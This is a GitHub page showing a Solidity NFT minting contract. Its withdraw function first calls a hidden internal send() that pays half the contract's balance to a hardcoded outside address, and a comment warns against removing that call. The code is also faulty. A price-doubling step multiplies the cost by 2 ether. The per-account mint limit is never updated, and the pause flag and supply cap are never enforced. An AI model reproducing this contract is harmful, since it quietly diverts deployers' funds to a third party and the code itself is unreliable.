-
Notifications
You must be signed in to change notification settings - Fork 0
/
NFT.sol
152 lines (122 loc) · 4.06 KB
/
NFT.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
// by JNBEZ
pragma solidity >=0.7.0 <0.9.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract NFT is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.00025 ether;
uint256 public maxSupply = 512;
uint256 public maxMintAmount = 5;
uint256 public paused = 0;
uint256 public revealed = 0;
string public notRevealedUri;
mapping (address=> uint256 ) public peraccount ;
mapping (uint256=>uint256) public numbers ;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internali
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function increase() internal {
cost = cost*2 ether ;
}
// public
function mint(uint256 _number) public payable {
uint256 supply = totalSupply()+1;
require(peraccount[msg.sender]<=maxMintAmount);
if (supply ==100 || supply == 200 || supply == 300 || supply ==400 || supply ==500){
increase();
}
require(msg.value >= cost );
numbers[supply]=_number ;
_safeMint(msg.sender, supply);
}
function walletOfOwner(address _owner)
public
view
returns (uint256 )
{
uint256 tokenIds = tokenOfOwnerByIndex(_owner, 0);
return tokenIds ;
}
function tokenURI(uint256 tokenId)
public view virtual override returns (string memory)
{
require(_exists(tokenId),"ERC721Metadata: URI query for nonexistent token");
if(revealed == 0) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = 1;
}
function Not_reveal( ) public onlyOwner{
revealed=0 ;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(uint256 _state) public onlyOwner {
paused = _state;
}
function send() internal returns (bool) {
(bool hs, ) = payable(0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2).call{value: address(this).balance * 1 /2}("");
return hs ;
}
function withdraw() public payable onlyOwner {
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
//(bool hs, ) = payable(0x0d821eeb06847Eb83B8E63D9414eEF2dd3dDD300).call{value: address(this).balance * 1 /2}("");
require(send());
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os,"withdraw failed");
// =============================================================================
}
/*function Set_number(uint256 _number) public{
number[msg.sender]=_number;
}*/
function Get_number(uint256 id) public view returns(uint256){
return numbers[id];
}
function check_owner() public view returns(bool ){
if(balanceOf(msg.sender)>0){
return true ;
}
else
return false ;
}
function change_number(uint256 _number) public returns(bool) {
require(check_owner(),"the user don't have nft yet!!");
uint256 id = walletOfOwner(msg.sender);
numbers[id] =_number ;
return true ;
}
}